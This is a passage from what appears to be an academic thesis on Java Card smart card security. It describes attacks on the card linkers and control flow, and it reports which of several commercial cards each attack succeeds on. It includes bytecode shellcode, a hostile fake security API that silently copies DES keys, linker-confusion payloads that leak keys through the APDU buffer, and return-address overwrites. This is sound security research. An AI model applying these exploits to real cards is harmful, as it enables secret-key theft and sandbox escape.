exception is thrown.

To create a cryptographic key, as the DES Key, the Java Card API [Ora11a] defines the

function buidKey from the javacard.security.KeyBuilder package. This function creates a

cryptographic key container for signature and cipher algorithms. An example of a DES key

container creation is shown in Listing 8.1.

Listing 8.1: A piece of a Java Card cryptographic application.

this. desKey = ( javacard . security . DESKey ) javacard . security . KeyBuilder . buildKey

( KeyBuilder .TYPE_DES , // key ’ s t ype

KeyBuilder .LENGTH_DES , // key ’ s l e n g t h

true); // t r u e => key v a l u e i s encryp t ed

// DES Key i n i t i a l i s a t i o n

this. desKey . setKey ( DES_KEY_VALUE , //PIN code i n i t i a l i s a t i o n

OFFSET_DES_KEY_VALUE );

Let us focus on the package javacard.security to corrupt the key container genera-

tion. To fool the linker, a fake Export file is added in the Export files patch. As re-

sult, each call to the javacard.security framework is redirected to the malicious one named

fake.javacard.security. This fake API provides the same function or signature as the

javacard.security package, but their implementations are a bit different.

An hostile javacard.security.KeyBuilder.buildKey function is implemented as the one

presented in Listing 8.2. This function can be viewed as an interface between the original

javacard.security.KeyBuilder.buildKey function and the application where a new crypto-

graphic key is required. Line 4, the hostile implementation calls the legitimate key container

builder function which returns an instance of it. Line 5, each created key is copied into a key

container owned by the library and, line 6, the built key container is returned.

Focus on the line 6. To be compliant with the type required by the caller, the key con-

tainer must be cast in the fake.javacard.security.Key type. The type returned by the

javacard.security.KeyBuilder.buildKey function is javacard.security.DESKey and it is in-

compatible with the classes from the fake.javacard.security package.

To prevent any exception to be thrown, from the fake.javacard.security package, an in-

terface which translates each call from fake.javacard.security to javacard.security was
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Listing 8.2: A malicious implementation of the javacard.security.KeyBuilder.buildKey function.

1 public static fake. javacard . security .Key buildKey

2 (byte keyType , short keyLength , boolean keyEncryption ) throws CryptoException {

3 javacard . security .Key key =

4 javacard . security . KeyBuilder . buildKey (keyType , keyLength , keyEncryption );

5 addKey (key); // save the b u i l t key
6 // re tu rn the b u i l t key to owner
7 return (fake. javacard . security . DESKey ) key; }

implemented. For that purpose, the HostileDESKey interface encapsulates each call between the

caller and the DESKey implementation, as shown in the Listing 8.3.

Listing 8.3: A hostile implementation of the DESKey interface.

public class HostileDESKey implements fake. javacard . security . DESKey {

private javacard . security . DESKey desKey ;

// D e f a u l t c o n s t r u c t o r

public HostileDESKey ( javacard . security . DESKey desKey ) { this. desKey = desKey ; }

// Implementat ion o f t he setKey f u n c t i o n

public void setKey (byte [] keyData , short kOff) {

this. desKey . setKey (keyData , kOff);

}

...

}

As this class translates each call from the malicious security API to the legitimate one, this

process is invisible for the developer. Indeed, from the user point of view, the malicious library

has the same behavior as the original one.

In this section, an attack on the off-card linker mechanism has been presented. This attack

succeeded because the off-card linker uses the first Export file which meets the requirements.

8.2.3 Protecting the Off-card Linker

In the previous section, a man in the middle attack succeeded because a malicious developer is

able to add some Java Card libraries inside the card.

A CAP file which contains only a library is a rare event. To protect the card from any

malicious library, the card should not install Cap file without applet. With this countermeasure,

any confusion of the off-card linker is stopped.

An attack path to fool the off-card linker has been presented in this section which breaks the

code integrity. But, when an application is loading on the card, the second linker finished the

resolving process. The on-card linker resolves each token to the internal reference hidden by the

target.
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8.3 Confusion of the On-Card Linker

During the installation process, an applet is linked with the API provided by the card. This step is

based on the token resolution contained in the Constant Pool component. To quickly find where

each token is used, the Reference Location component keeps a list of offsets from the Method

component. Each token refers to an entry in the Constant Pool component which describes the

token’s type. So, the on-card linking step resolves applet’s token by the associated smart card’s

internal references. This linked value is a hidden information.

Cheating the Reference Location component was presented by Iguchi-Cartigny et al. in

[IC+10] where some tokens into the Method component were dereferenced. The authors succeed in

confusing the linker on cards without BCV. Thus, during the applet installation, some tokens are

not resolved. By this way, the authors succeed to hard code internal reference in order to illegally

access to other context resources.

This section focuses on the on-card linker security. If the list of tokens is corrupted, the linker

can be cheated and may resolve some bytes interpreted as tokens. This has two possible effects.

The first one, introduced in Section 8.3.1, gives access to the smart card API addresses. Retrieved

by an attacker, this information can be used to develop some rich shellcodes. Therefore, the

data and code confidentiality are broken. The second one is based on the concept of mutant

application (introduced in Chapter 4) where the linker resolves instructions as tokens. In this case,

the code integrity is broken and a different applet is installed on the card. That will be shown in

Section 8.3.2.

8.3.1 Resolve Application Data to Characterise the Java Card API

Into a smart card, the internal reference of the API functions are secretly kept. For a user, each

function is represented by a token. Knowing the internal reference of each embedded function

provides enough information for an attacker to execute any rich shellcode. Assume the code shown

in Listing 8.4.

Listing 8.4: A sample function without token that will be linked.

01 // f l a g s : 0 max_stack : 1
00 // nargs : 0 max_locals : 0
/∗0xDB∗/ sspush 0x0008

/∗0xE0∗/ sreturn

This method contains two instructions where the value 0x0008 is pushed and it is returned at

the end of the function. Each manipulated element by this method is well-typed and it contains

no token. But, if the Reference Location referred the value 0x0008 from the offset 0xDC, the

linker can resolve the sspush parameter by the internal reference of the eighth element into the

Constant Pool component.
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During the applet installation, the embedded linker resolves each element listed into the

Reference Location. When it resolves the element from the offset 0xDC, the linker tries to

resolve the sspush parameter. It reads the value 0x0008 and searches the description into the

Constant Pool component. Suppose that the Constant Pool component contains at least eight

elements as this one shown in Listing 8.5. So, the linker will replace 0x0008 by the internal

reference of the described virtual method.

Listing 8.5: Constant Pool component exploit to link a value as a token.

Constant Pool Component {

0 => CONSTANT_StaticMethodRef : external method : 0x80 , 0x03 , 0x00

1 => CONSTANT_VirtualMethodRef : external method : 0x80 , 0x03 , 0x02

...

8 => CONSTANT_VirtualMethodRef : external method : 0x80 , 0x03 , 0x03

...

}

As presented by Hamadouche et al. [Ham+12], on a card without BCV, if the embedded linker

does not check the operation to link, the sspush parameter shifts by the internal reference of the

function referred by the token 0x0008. If one assumes that the token 0x0008 is resolved by the

value 0x6498, the code shown in Listing 8.4 changes as described in Listing 8.6. In this case, an

attacker is able to obtain the whole Java Card API provided by a targeted smart card.

Listing 8.6: A resolved sspsuh operation upon the embedded linker.

01 // f l a g s : 0 max_stack : 1
00 // nargs : 0 max_locals : 0
/∗0 x8667 ∗/ sspush 0x6498

/∗0x866A∗/ sreturn

This section has presented a generic method to lure the on-card linker of a smart card forcing

it to link a token with a non authorised instruction. It becomes possible to characterise completely

the Java Card API. This allows one to build very efficient viruses to be uploaded into the card

and in particular to retrieve the container of cryptographic keys. The next section will explain

how, by the same approach, an instruction can mutate thanks to the on-card linker.

8.3.2 Resolve Code to Generate Mutant Applet

As explained, linking instruction parameters as tokens is a way to obtain information on the Java

Card API. But, what does happen when the embedded linker resolves instructions as a token?

This question was studied by Razafindralambo et al. in [Raz+12a]. Consider the fragment of code

shown in Listing 8.7.

Based on an incorrect metadata inserted into the Reference Location component, shown in

Listing 8.8, an instruction is referred as a token. For instance, the instructions couple nop and
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Listing 8.7: Set of instruction to confuse the linker mechanism.

/∗0 x20 ∗/ 0x00 nop

/∗0 x21 ∗/ 0x02 sconst_m1

/∗0 x22 ∗/ 0x02 sconst_m1

/∗0 x23 ∗/ 0x3C pop2

/∗0 x24 ∗/ 0x04 sconst_1

/∗0 x25 ∗/ 0x3B pop

sconst_m1 byte codes values are interpreted as a token from the offset 0x20. The value of this

token will be 0x0002 as the concatenation of the byte code values of nop instruction (0x00) and

sconst_m1 operation (0x02).

Listing 8.8: Reference Location and Constant Pool components used to modify the application code
thanks to the embedded linker.

Reference Location Component {

...

offsets_to_byte2_indices = { ... @0020 ... }

}

Constant Pool Component {

0 => CONSTANT_StaticMethodRef : external method : 0x80 , 0x03 , 0x00

1 => CONSTANT_VirtualMethodRef : external method : 0x80 , 0x03 , 0x02

2 => CONSTANT_StaticMethodRef : external method : 0x80 , 0x08 , 0x0D

...

}

So, the instructions from the offset 0x20 will be considered as the token 0x0002 in the Method

component by the embedded linker. In the Constant Pool component, one sees that the token is

associated to a static method reference. By looking to the embedded linker confusion through the

Java Card API characterisation the method associated to the token 0x0002 is resolved with the

value 0x8E03.

Since the on-card Java Card linker had resolved each token, as shown in Listing 8.9, the

method byte code mutates in such way that the instructions nop and sconst_m1 became an

invokeinterface operation.

Listing 8.9: Set of instructions after link resolution

/∗0 x20 ∗/ 0x8E invokeinterface

/∗0 x21 ∗/ 0x03 0x03 // narg
/∗0 x22 ∗/ 0x02 0x02 // index h i gh par t
/∗0 x23 ∗/ 0x3C 0x3C // index low pa r t
/∗0 x24 ∗/ 0x04 0x04 // method
/∗0 x25 ∗/ 0x3B pop

The invokeinterface instruction has three parameters encoded on four bytes. Its parameters
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are composed with:

• the narg is the number of words of arguments and object reference popped from the operand

stack required by the invoked function,

• the index is an unsigned byte that is used as an index into the method table of the class of

the type of object reference and

• the method operand is an unsigned byte that is the interface method token for the method

to be invoked.

In this case abusing the token resolution mechanism leads to the call of a method referred

in the Constant Pool component by the index composed of two bytes 0x02, 0x3C. This index

corresponds, at the target platform, to the method getKey which gives us the ability to return the

key data via the APDU buffer. Most of the attack in the literature tried to retrieve the secret key

thanks to physical means. Here, it is possible to force the virtual machine to send back clear text

value of the key to the attacker. Of course, this attack works well due to the absence of the BCV

which could have detected the ill-formed CAP file.

This section has introduced how to mutate an applet’s code through the on-card linker. Due

to some tokens which refer instruction instead of parameter, the linker updates the bytes’ value

regarding the Constant Pool component. To prevent this behaviour, the next section will present

countermeasure to resolve a correct token.

8.3.3 Preserving On-Card Linker Securely

The presented attacks aim at interpreting instruction or another value as token. The on-card linker

compares this value to the ones present in the Constant Pool component and updates the byte

code’s value as any correct token to resolve.

To prevent the on-card linker from giving some information about the Java Card API, two

countermeasures can be implemented. The first one uses a lightweight embedded BCV which

parses the applet’s byte code to list the tokens to resolve. The Java Card specification [Ora11d]

defines 43 instructions with token as argument. The computed set is compared with the tokens

listed in the Reference Location component. This countermeasure has a complexity in O(n + p)

where n is the number of instructions in the applet and p the number of tokens.

To improve this countermeasure, a second approach aims, during the applet loading, at resolv-

ing the tokens which are preceded by specific instructions (like invokevirtual, invokestatic,

getstatic, putstatic, etc.). This solution has a complexity in O(p) with p the number of tokens.

This countermeasure is more affordable as a lightweight BCV.

Another approach is to scramble the method’s byte array, as presented in Section 7.2.1.3. Using

different keys for the instruction and its argument increases the complexity, for an attacker, to

mutate the code.
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8.4 Conclusion

This chapter has introduced a novel attacks on the Java Card linker mechanism. This mechanism

is a main element of the Java Card architecture where it updates the applet’s byte code to be

executed within a specific device. As this mechanism is split into two steps, the security analysis

requires two parts. For each element, some countermeasures have been proposed. Table 8.1 sums

up this chapter. For the off-card linker, my contribution have been published in [Bou+13a]. My

contributions for the on-card linker has been published in [Ham+12,Raz+12a].

Attacks Linker Hypothesis Constraints Countermeasures

Man in the middle
attack

Off-card BCV, the
Export file path

is corrupted

Implementation-
independent

Disallow to load li-
braries

Getting smart card
API addresses

On-card No BCV

Implementation-
independent

• Scrambling mech-
anism

Resolve instruc-
tions as token

On-card No BCV • Check the opera-
tion to resolve

Table 8.1: Overview of the attacks on the Java Card linker.

The next chapter will explain the approach adopted to experiment the presented attacks.
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Chapter 9

Experimental Results

Princess Keli in trouble: ““You’re dead,” he said. Keli waited. She

couldn’t think of any suitable reply. “I’m not” lacked a certain style, while

“Is it serious?” seemed somehow too frivolous.”

— Terry Pratchett, Mort
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By using the FTA, this thesis aimed at finding attacks against the application’s control flow and

the Java Card linker. To prevent these attacks, some countermeasures with the better coverage are

designed. The purpose of this chapter is to evaluate each attack and countermeasure introduced

in the chapters 7 and 8.

To evaluate each attack detailed in this thesis, we tried them on different smart cards from

different manufacturers. The cards are available on public Internet shops. We tested seven cards

from five distinct manufacturers (a, b, c, d and e). Each card name listed in the Table 9.1 is

associated with the manufacturer reference and its Java Card specification. Attacks introduced in

this thesis are evaluated in Section 9.3 and Section 9.4. Due to a lack of time, the attacks designed

during this these thesis had not been implemented on all cards. This chapter aims at proposing a

proof of concept on different cards. For implementing these attacks, we developed a set of tools in

the Java-language. These tools are described in Section 9.1.

Card reference Java Card GP Characteristics

a-21a 2.1.1 2.0.1 256 kB EEPROM, SIM card

a-21b 2.1.1 2.0.1 Same as a-21a plus RSA

a-22a 2.2 2.1 64 kB EEPROM, RSA

a-22b 2.1.1 2.0.1 32 kB EEPROM, RSA, dual interface

a-22c 2.2.1 2.1.1 36 kB EEPROM,

b-21a 2.1.1 2.1.2 16 kB EEPROM, dual interface

b-22a 2.1.1 2.0.1 16 kB EEPROM, hardware DES

b-22b 2.2.1 2.1.1 72 kB EEPROM, dual interface

c-22a 2.1.1 2.0.1 64 kB EEPROM, RSA

c-22b 2.2 2.1.1 64 kB EEPROM, dual interface, RSA

c-22c 2.2 2.1.1 72 kB EEPROM, dual interface, RSA

d-21 2.1 2.0.1 32 kB EEPROM, RSA

d-22 2.2.1 2.1.1 16 kB EEPROM

e-22 2.2 2.1 72 kB EEPROM, RSA

Table 9.1: Cards used during this evaluation.

Before analysing the contribution of this thesis, the countermeasures embedded on each tested

cards should be characterised. For that purpose, Section 9.2 presented the loading and runtime

embedded protection mechanisms.

Finally, this chapter focuses the countermeasures designed in this thesis. Evaluating counter-

measures aims at measuring the overhead in terms of ROM, RAM and EEPROM memory footprint.

Section 9.5 describes the footprint of each countermeasures.
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9.1 Tools Developed during this Thesis

During this thesis, I took part in the development of two Java-libraries. The first one allows us to

perform CAP file manipulation, and the second one takes care of the communication part. Both

have been combined to evaluate the attacks.

9.1.1 CapMap

CapMap has been developed with the aim of having a handy and a friendly way to parse and

modify a CAP file. This tool was introduced in [Nou+09] and used in [Raz+12b] which designed

a mutant generator enabled by a laser injection. This Java-library is useful and very convenient

while designing software attacks.

There are three steps to modify a CAP file using the CapMap: identifying in which CAP file’s

standard components are located our target, getting the right set of elements, and then applying

changes thanks to setters provided by the CapMap over each CAP file elements. This is a simple

example that makes the use of CapMap clearer: it is a reference to the EMAN2 attack (described

in Section 7.1.2.2). One can use the CapMap to manipulate the instruction sstore to perform

this attack as shown in the Listing 9.1.

Listing 9.1: CAP file modification with CapMap.

/∗ Loading a CAP F i l e ∗/
CapInputStream cis = new CapInputStream (new File( MY_CAP_FILE ));

CapFileRead cfr = new CapFileRead (cis);

CapFile cap = cfr.load ();

/∗ Set t he CapMap in e d i t a b l e mode ∗/
MethodInfoEditable methodInfoEditable = new MethodInfoEditable (cap);

/∗ Modi fy ing the i n s t r u c t i o n to r e p l a c e ∗/
methodInfoEditable . replaceInstruction

// Replace the i n s t r u c t i o n a t JPC by a s s t o r e which r e f e r s
// the r e tu rn addre s s r e g i s t e r
( INSTRUCTION_JPC_TO_REPLACE , Instruction .SSTORE , // new i n s t r u c t i o n v a l u e

new byte [] { RETURN_ADDRESS_REGISTER }); // new i n s t r u c t i o n ’ s parameter

// Saving the mod i f i ed CAP f i l e . . .

First, in this listing, the CapMap is set to the editable mode. Therefore, CapMap is able to

modify a method byte code and update the associated dependencies on the other components. A

method is a set of instructions, and an instruction is a set of byte-values. Then, we have to select

the sstore instruction, and we change its operand’s value. Finally, we modify the operand’s value

to update the return function register.

The CAP file parser of CapMap is free available on a Bitbucket repository: https://bitbucket.

org/ssd/capmap-free
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9.1.2 OPAL

In the smart card world, Java Card plays an important role. To communicate with this type of

card, which complies to the ISO/IEC 7816 specification [ISO07] one should use a specific library.

Indeed, this kind of library must implement high level functions, which follows the GP specification

(authentication protocols, applet installation process, etc.), and should be interfaced with another

library to handle CAP files like the CapMap library. Therefore we developed an open-source

Java-library called OPAL [Bka+11], for Open Platform Access Library, which complies with the

GP specification [Glo11]. This library provides the full-support of the Java Card applets life cycle

and smart card management. Moreover, to exchange data with a Java Card, OPAL implements

secure channel protocols to authenticate the host. OPAL is open-source and lives in a Bitbucket

repository available here: https://bitbucket.org/ssd/opal.

9.2 Embedded Countermeasures

To evaluate the contribution of this thesis, the countermeasures embedded in the card should be

characterised. As we work with a black box approach, the modus operandi was to chosen ill-formed

applets which are installed on the card. These applets aim at discovering security mechanism in

the card. We defined two sets of countermeasures embedded in our evaluation cards: loading time

and runtime countermeasures. The first ones are used during the installation of the ill-formed

applet. The second ones check the applet execution to prevent any illegal operations.

9.2.1 Loading Time Countermeasures

The card-linker can detect basic modifications of the CAP file. Some cards can block themselves

when erasing an entry in the Reference Location component without calculating the offset of the

next entry. For instance, the card a-21a is blocked when detecting a null offset in the Reference

Location component. But it is easy to bypass this simple countermeasure with the CapMap to

perform more complex CAP file modifications.

At least two of the evaluated cards have a sort of type verification algorithm (a complex type

inference). They can detect ill-formed byte codes, returning a reference instead of a short. Looking

at Common Criteria evaluation reports, it is evident that these cards were out of our hypotheses:

they include a BCV or, at least, a reduced version of it. Thus, such cards can be considered as

the most secure, because once the CAP file is detected as ill-formed, they reject the CAP file or

become mute (for instance c-22b).

9.2.2 Runtime Countermeasures

For the remaining cards which accept to load ill-formed applet, we evaluate the different coun-

termeasures executed by the interpreter (Table 9.2). A countermeasure consists in checking the
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writing and reading operations. For instance, when writing in an unauthorised memory area

(outside the area dedicated to class storage) the card is blocked or returns a SW error. More

generally, the cards can detect illegal memory access depending on the accessed object or the byte

code operation. For example, the card (c-22a) limits the possibility to read arbitrary memory

location to seven consecutive memory addresses.

Card Reference Memory area check Memory management Read access

a-22a ✓ ✓

b-22b ✓

c-22a ✓

e-22 ✓

Table 9.2: Runtime countermeasures.

On the remaining cards, we were able to access and snapshot the memory.

9.2.3 Nature of the Dumped Memory

When a software attack succeeded, a snapshot of the smart card memories can be obtained.

Depending on how the JCVM manipulates the card’s memories, some areas can be redundant or

missing. Most of JCVM implementations are not allowed to access to the ROM. Only the OS is

able to use this module. The cryptographic memory is also hidden from the JCVM but we are

able to read the RAM and the EEPROM areas. On some implementation, a part of the EEPROM

is not readable. Sometimes, the RAM is not accessible from the JCVM.

9.3 Evaluation of Attacks against the Control Flow

This section evaluates each attack against the control flow pointed by the contribution of this thesis.

In this section, we hypothesise that the card does not embed a BCV. There are two sorts of attacks

presented in this section which have been evaluated: the attacks which cheat method invocation

and return (Section 9.3.1) and the attacks against the branching instructions (Section 9.3.2).

9.3.1 Evaluation of Method Invocation and Return Attacks

9.3.1.1 EMAN3: Invoking Native Methods

EMAN3 attack aims at breaking the JCVM sandbox by executing native code, as explained in

Section 7.1.1. To evaluate the EMAN3 attack, we tried our approach on different smart cards

listed in the Table 9.1. We hypothesised that each evaluated card supports the native methods

execution through the JCVM and does not embed any BCV component.
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A CAP file which contains the method shown in Listing 9.2 is sent to each card. This method

contains a flag value set to 0x2 and 1-byte. Suppose that this byte is interpreted as an offset into

the indirection table, so the first native method should be called.

Listing 9.2: Method which invokes a native function used to evaluate the EMAN3 attack.

void callNativeMethod () {

21 // f l a g s : 2 max_stack : 1
01 // nargs : 0 max_locals : 1
00 } // the o f f s e t v a l u e used to the i n d i r e c t i o n t a b l e

We invoked the function noticed in Listing 9.2. The returned state of each card is listed in the

Table 9.3.

Card Reference Value Returned Result

a-21a SW: 0x6F00 ✗

a-21b SW: 0x9000 ✓

a-22a SW: 0x9000 ✓

a-22c SW: 0x9000 ✓

b-21a Card freezes B

b-21a Card freezes B

b-22b SW: 0x9000 ✓

d-21 SW: 0x6F00 ✗

d-22 PCSC Error: SCARD_E_NOT_TRANSACTED B

e-22 PCSC Error: SCARD_E_NOT_TRANSACTED B

Table 9.3: Each tested card’s returned value for the native method call.

In this table, four different states are returned:

• The SW 0x9000: the execution was done without error (✓);

• The SW 0x6F00: a Java-exception was thrown and never caught (✗);

• Card freezes. The OS may be in an infinite loop or wait an event which never comes (B);

• A PCSC error (SCARD_E_NOT_TRANSACTED): the smart card has an unexpected behaviour

during the execution of a command and the communication have been terminated by the

card (B).

Since an error value is returned, we cannot conclude anything. However, we hypothesis that a

PCSC error or a frozen card indicates a system error while it executes a native method. In this

case, the requirement to execute this native method is not met and the OS crashes.
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The EMAN3 attack was first designed for the cards a-21b and a-22a. By these experimental

results, we discovered that two cards (a-22c and b-22b) return the SW 0x9000. To improve our

analysis, we focus on the card b-22b where we want call the arrayCopy()1 function. This function

is provided by the class Util from the package javacard.framework. It may be developed in

C-language. Using a script, we searched the offset value required to call the native method which

returns the expected value. After testing each value from the range 0x00 to 0xFF, the expected

return was not met. So, we investigated and discovered that the card uses a different strategy to

invoke native methods.

The card b-22b encodes the native method offset into a 0x02 flag method header, inside the

fields nargs and max_locals (c.f. Listing 7.2). On this card, we succeeded in calling a native

method which changes the smart card’s life cycle. Since the native method referred by the offset

0x0F is called, the smart card shifts to the production mode without administrator right.

In this card, we have proved that we are able to call native piece of code. However, we have

not succeeded in locating where the indirection table is stored. It may be unreadable or hidden in

memory.

9.3.1.2 Evaluation of the Attacks against the Java Card Frame

This section introduces the evaluation of the attacks against the stack presented in Section 7.1.2.

First, we evaluate the EMAN2 attacks, presented in Section 7.1.2.2. This attack abuses the

instructions that access the local stack area in order to write outside the domain of the locals. We

succeeded in modifying the return address. When the return instruction is executed, this attack

will lead to a controlled execution flow.

9.3.1.2.1 Characterisation of the Stack Implementation To perform this attack, the

Java Card stack of the evaluated cards should be characterised. The evaluated cards do not include

a BCV component.

To characterise each Java Card frame implementation, we use the characterisedFrame method

shown in Listing 9.3. This method has only one parameter: the class instance reference (this).

Line 6, the sload instruction pushes the value contained on the local variable X.

In the Section 7.1.2.1, the literature survey described that the frame may have three elements.

The function shown in Listing 9.3 contains one local variable (the this reference) and a maximum

of one element should be pushed on the operand stack. To characterise the frame’s header, the

X sload parameter is set to 0 and increased until the characterisedFrame() function returns

0xCAFE. The Table 9.4 presents the size of the header size for the evaluated cards.

9.3.1.2.2 EMAN2 Evaluation On several tested cards, the return address entry is located

at different places in the frame’s header. The Table 9.4 presents the location of the return address
1This function returns a value depending on the start offset of the output buffer plus the length of the copied

data.
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Listing 9.3: Shellcode used to characterise the Java Card frame.

1 short characterisedFrame () {

2 01 // f l a g s : 2 max_stack : 1
3 10 // nargs : 1 max_locals : 0
4 sspush 0xCAFE

5 pop

6 sload X

7 sreturn }

element. Its position is relatively indicated from the local variables area. To set the return address,

the function in Listing 9.4 is used, especially the sstore instruction in the line 5. The sstore

instruction stores the last short values pushed into a local variable. The new return address where

to jump is computed by using the shellcode’s internal reference. In this listing, the Y byte value

depends on the location of the return address register. For instance, if the return address is located

2 words after the local variables so the Y will be set to 3 (the two local variables are accessible

from 0).

Listing 9.4: Shellcode used to set up the return address of the current frame.

1 short setReturnAddress (short new_address ) {

2 01 // f l a g s : 2 max_stack : 1
3 20 // nargs : 2 max_locals : 0
4 aload_1 // push ing the new_address v a l u e
5 sstore Y // Overwr i t ing the r e tu rn addre s s w i th the new_address parameter
6 return } // jumping to the s h e l l c o d e ; −)

On several cards, we succeed in updating the return address entry upon an overflow from the

local variables. On the cards d-22 and e-22, we have not located the frame’s header.

Card Reference Header size Return Address EMAN2

a-21a 2 entries +2 ✓

a-21b 2 entries +2 ✓

a-22a 2 entries +2 ✓

a-22b 3 entries +1 ✓

a-22c 3 entries +1 ✓

d-22 ✗

e-22 ✗

Table 9.4: Cards used during this evaluation of EMAN2 attack.

9.3.1.2.3 Evaluation of the Fooled Frame Restoration Mechanism Another attack ex-

plained in Section 7.1.2.3 aims at cheating the frame restoration process. This attack was evaluated
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on one card, the a-22c. We cannot succeed in locating this information into the frame header of

the other cards. But, if an attacker is able to find the return address register, there is no reason

why it should not succeed. It is just a matter of time.

9.3.2 Evaluation of the Branching Instructions Attacks

9.3.2.1 Type Confusion against the Heap

Section 7.2.1.1 presented a type confusion through the Java Card heap. This attack aims at

confusing the field’s type manipulated during the program execution. To evaluate this attack, we

assume the code shown in Listing 9.5. On cards which do not embed any BCV, this method aims

at converting a given reference provided as parameter to a short value returned.

Listing 9.5: Receive reference of an object by type confusion over instance fields.

short getObjectAddress ( object object ) {

02 // f l a g s : 0 max_stack : 2
12 // nargs : 1 max_locals : 2
/∗0x5F∗/ L0: aload_1 // o b j e c t r e f e r e n c e g i v e n in parameter
/∗0 x60 ∗/ putfield_a_this 0

/∗0 x62 ∗/ getfield_s_this 0

/∗0 x64 ∗/ sreturn }

In Listing 9.5, the field 0 is accessed as a reference (at 0x60) and as a short value (at 0x62).

In the case of a typed stack, only two types are supported, the short and reference types. The

putfield_a_this instruction (at 0x60) saved the value given in parameter into the field 0. The

getfield_s_this (from 0x62) pushes the value of the field 0 to stack as a short. The type

confusion is performed on the instance fields. Therefore, the reference given as parameter is then

returned as a short value. From the Java Card stack side, the type of each manipulated element is

correct. Nonetheless, a type confusion has been performed during the field manipulation.

Presented in the Table 9.5, we evaluated this attack on seven cards. None of them embed a

typed stack nor a BCV. On each evaluated card, we succeeded in confusing the manipulated field

upon the heap.

Card Reference Result Card Reference Result

a-21a ✓ c-22a ✓

a-22a ✓ c-22c ✓

a-22c ✓ d-22 ✓

b-21a ✓ e-22 ✓

Table 9.5: Sum up of the evaluated cards against a heap type confusion.
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9.3.2.2 EMAN4: Corruption of a for Loop

The EMAN4 attack is based on a valid applet which contains a malicious function as the one

shown Listing 9.6. After the built with the Java Card toolchain, a legal byte code is obtained. The

goto_w instruction continues the execution flow to the beginning of the loop. Here, 0xFF19 is a

signed number used to define the destination from the goto_w instruction.

Listing 9.6: EMAN4 attack into a Java Card.

/∗0 x8060 ∗/ bspush BA

/∗0 x8062 ∗/ putfield_b 5

/∗0 x8064 ∗/ aload_0

/∗0 x8065 ∗/ getfield_b_this 5

/∗0 x8067 ∗/ putfield_b 5

...

/∗0 x8076 ∗/ inc 1

/∗0 x8078 ∗/ iload_1

/∗0 x8079 ∗/ iconst_1

/∗0x807A∗/ goto_w 0xFF19 // <= I t w i l l be f a u l t e d

/∗0x807D∗/ return

Presented in Section 7.2.1.2, a laser beam may set or reset the most significant byte of the

goto_w parameter. At XLIM laboratories, we have no laser to attack smart card. So, an ITSEF

evaluated our approach. The evaluation was focused on two cards, the a-22a and a-22c. On

these cards, the security evaluators succeeded in shifting the most significant byte of the goto_w

parameter in order to jump outside the method and changing the execution flow by executing

another fragment of code.

9.3.2.3 Evaluation of the Finally-clause Corruption

Section 7.2.2 presented an approach based on a control flow transfer attack to modify the JPC

value. This attack is focused on a type confusion and the use of the couple of instructions jsr/ret.

To evaluate this attack against the finally-clause instruction, an applet which contains the function

shown in Listing 9.7 is installed and executed on each card. The evaluated cards have no BCV but

the card c-22b embeds a type verification. If a BCV is embedded, a laser beam attack, as EMAN4,

can enable an unreachable code as detailed in Section 7.3. Therefore, an ill-formed unreachable

code checked by a BCV may be executed.

On the Table 9.6, the attack against the finally-clause is evaluated. Regarding the results, none

of card detects the corrupted execution. The evaluated cards do not embed any countermeasures

against the JPC modification through the exploitation of jsr/ret instructions. Thus, we realised

a generic control flow transfer attack.

In this section, we had evaluated the attack on the jsr instruction on several Java Card smart

cards. A part of these cards embed a countermeasure against the modification of the return address
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Listing 9.7: Confusion of the finally-clause instruction.

short exploitJSRInstructionWithoutBCV () {

01 // f l a g s : 0 max_stack : 1
01 // nargs : 0 max_locals : 1
/∗0 x53 ∗/ L0: jsr L1

/∗0 x56 ∗/ sspush 0xCAFE

/∗0 x59 ∗/ sreturn

/∗0x5A∗/ sspush 0xBEEF

/∗0x5D∗/ sreturn

/∗0x5E∗/ L1: astore_1

/∗0x5F∗/ sinc 0x1 , 0x4

/∗0 x62 ∗/ ret 0x1 }

Card Reference Result Card Reference Result

a-21a ✓ b-22b ✓

a-21b ✓ c-22a ✓

a-22a ✓ c-22b ✓

a-22b ✓ c-22c ✓

a-22c ✓ d-21 ✓

b-21a ✓ d-22 ✓

b-22a ✓ e-22 ✓

Table 9.6: Evaluation of the attacks against the finally-clause instruction.

for a given method [Bou+11b]. With the attack, the JPC register is set with our generic approach.

Nonetheless, if the JPC register is protected, our attack should still work.

9.3.3 Synthesis

This section have presented the evaluation of the attack against the application’s control flow. A

sum up can be found in the Table 9.7. Therefore, we discovered that the attack based on the

finally-clause is generic and implements control flow transfer exploit in a constrained device. In

contrary to all the previous instances of control flow corruption, this one is based on the absence

of protection of all return address registers.

9.4 Evaluation of Attacks against the Java Card Linker

Chapter 8 has presented two approaches to cheat the Java Card linker mechanism. The first one is

focused on the off-card linker where an application is linked with a malicious Export which has

the same behaviour, from the user’s point of view, as the legitimate one. This attack succeeds on

each card where a developer is able to load the malicious Export file. The second one fools the

on-card linker, where bytes (instructions or parameters) are resolved as tokens. The next sections
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Card reference EMAN2 Fooling
frame’s

restoration

EMAN3 Heap type
confusion

EMAN4 Finally-
clause

corruption

a-21a ✓ B ✓ ✓

a-21b ✓ ✓ ✓

a-22a ✓ ✓ ✓ ✓ ✓

a-22b ✓ ✓

a-22c ✓ ✓ ✓ ✓ ✓ ✓

b-21a B ✓ ✓

b-22a B ✓

b-22b ✓ ✓

c-22a ✓ ✓

c-22b ✓

c-22c ✓ ✓

d-21 ✗ ✓

d-22 ✗ B ✓ ✓

e-22 ✗ B ✓ ✓

Table 9.7: Overview of attacks against the application’s control flow.

will present the modus operandi to evaluate these attacks and the results on different cards.

9.4.1 Evaluation of the Off-Card Linker Attacks

This thesis focused in Section 8.2.1 on the off-card linker, especially the conversion part between

an Unicode Class item and a CAP token. For that purpose, we provide malicious Export file

that will be used by the converter. This malicious API provides for the user the same behaviour

as the original one. Within this attack, we succeeded in confusing the off-card linker.

This attack was evaluated on the cards a-22a and a-22c. The Figure 9.1 presents the modus

operandi. An applet is linked with our fake.javacard.security.DESKey. This class aims at

interfacing the applet and the legitimate the fake.javacard.security.DESKey class.

On each evaluated card, the fake.javacard.security.DESKey is installed. We loaded the

applet linked with our malicious API. On each tested card, we succeeded in executing the ill-linked

applet as shown in the Table 9.8. This attack should also succeed on other cards without BCV.

Card reference Result

a-22a ✓

a-22c ✓

Table 9.8: Overview of attack’s evaluation against the off-card linker.
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Applet fake.javacard.security.DESKey javacard.security.DESKey

desKey.setKey()

desKey.setKey()

ok

ok

Figure 9.1: Modus operandi of the man-in-the-middle against the off-card linker.

9.4.2 Evaluation of the On-Card Linker Attacks

